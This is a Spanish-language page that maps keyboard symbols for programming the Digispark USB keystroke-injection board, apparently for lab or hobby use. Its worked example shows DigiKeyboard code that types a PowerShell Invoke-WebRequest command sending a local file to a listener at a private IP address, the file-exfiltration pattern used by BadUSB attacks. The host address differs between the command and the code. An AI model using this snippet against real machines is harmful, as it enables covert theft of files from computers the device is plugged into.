Lista de signos Digispark (Caracteres, simbolos, etc...)

En el dispositivo Digispark hay muchas veces que los simbolos del teclado no los pilla como realmente son, ya que utiliza otro tipo de teclado a diferencia del QWERTY, por lo que he creado una lista de simbolos, caracteres, signos, etc... Para que se corresponda con lo que quereis programar en vuestro Digispark:

------------------LISTA DE SIGNOS DIGISPARK------------------

Signo COMA = ,
Signo PUNTO = .
Signo SLASH(/) = -
Signo GUION = '
Signo IGUAL(=) = ¡
Signo INTERROGACION(?) = _
Signo ESCLAMACION_ABAJO = !
Signo GUION_BAJO(_) = ?
Signo MENOR(<) = ;
Signo MAYOR(>) = :
Signo DOS_PUNTOS = Ñ
Signo PUNTO_COMA = ñ
Signo MAS(+) = ¿
Signo I_INGLESA(&) = /
Signo C_RARA(Ç) = gv
Signo CORCHETES_ABRIR_CERAR([]) = `+
Signo CORCHETES_CIRCULARES_ABRIR_CERRAR({}) = ^*
Signo HASHTAG = ·
Signo ABRIR_CERRAR_PARENTESIS(()) = )=
Signo DOLLAR = $
Signo PORCENTAJE = %
Signo ASTERISCO(*) = (
Signo C_RARA_MINUSCULA(ç) = g
Signo SIMBOLO_ORDINAL_MASCULINO(º) = 5
Signo SIMBOLO_ORDINAL_FEMENINO(ª) = ç
Signo ABECEDARIO_MINUSCULA_a-z bcdefghijklmngopqrstuvwxyz
Signo ABECEDARIO_MAYUSCULA_A-Z = ABCDEFGHIJKLMNgROPQRSTUVXYZ
Signo NUMEROS_0-9 = 0123456789
Signo ELEVADO(^) = &
Signo COMA_FRANCESA(`) = º
Signo ACENTO(´) = f

------------------------------------------------------------------

Hay muchos signos que se quedan como un null por lo que no estan implementados en la lista, la parte de la columna izquierda corresponde a los signos normales del teclado QWERTY y la columna de la derecha corresponde al signo del Digispark.

EJEMPLO:

Si por ejemplo queremos escribir un comando mediante el Digispark algo tal que asi...

Invoke-WebRequest -Uri "http://10.11.15.5:8080" -Method Post -InFile "test.txt" -ContentType "multipart/form-data"

En la programacion tendria que ser algo tal que asi...

// Escribir el comando Invoke-WebRequest en fragmentos

    DigiKeyboard.print("Invoke/WebRequest");

    DigiKeyboard.delay(100);

    DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio

    DigiKeyboard.delay(100);

    DigiKeyboard.print("/Uri -http");

    DigiKeyboard.delay(100);

    // Enviar ':' usando SHIFT + .

    DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);

    DigiKeyboard.delay(100);

    DigiKeyboard.print("&&192.168.1.47");

    DigiKeyboard.delay(100);

    // Enviar ':' usando SHIFT + .

    DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);

    DigiKeyboard.delay(100);

    DigiKeyboard.print("8000-");

    DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio

    DigiKeyboard.delay(100);

    DigiKeyboard.print("/Method Post ");

    DigiKeyboard.delay(100);

    DigiKeyboard.print("/InFile ");

    DigiKeyboard.delay(100);

    DigiKeyboard.print("test.txt");

    DigiKeyboard.delay(500);

    DigiKeyboard.sendKeyStroke(0x4F); // 0x4F es el código para la tecla de flecha derecha

    DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio

    DigiKeyboard.delay(100);

    DigiKeyboard.print("/ContentType multipart&form/data");

    DigiKeyboard.delay(100);

    DigiKeyboard.sendKeyStroke(KEY_ENTER);

Tendremos que sustituir cada simbolo de lo que queremos poner por el que interpreta Digispark.

Last updated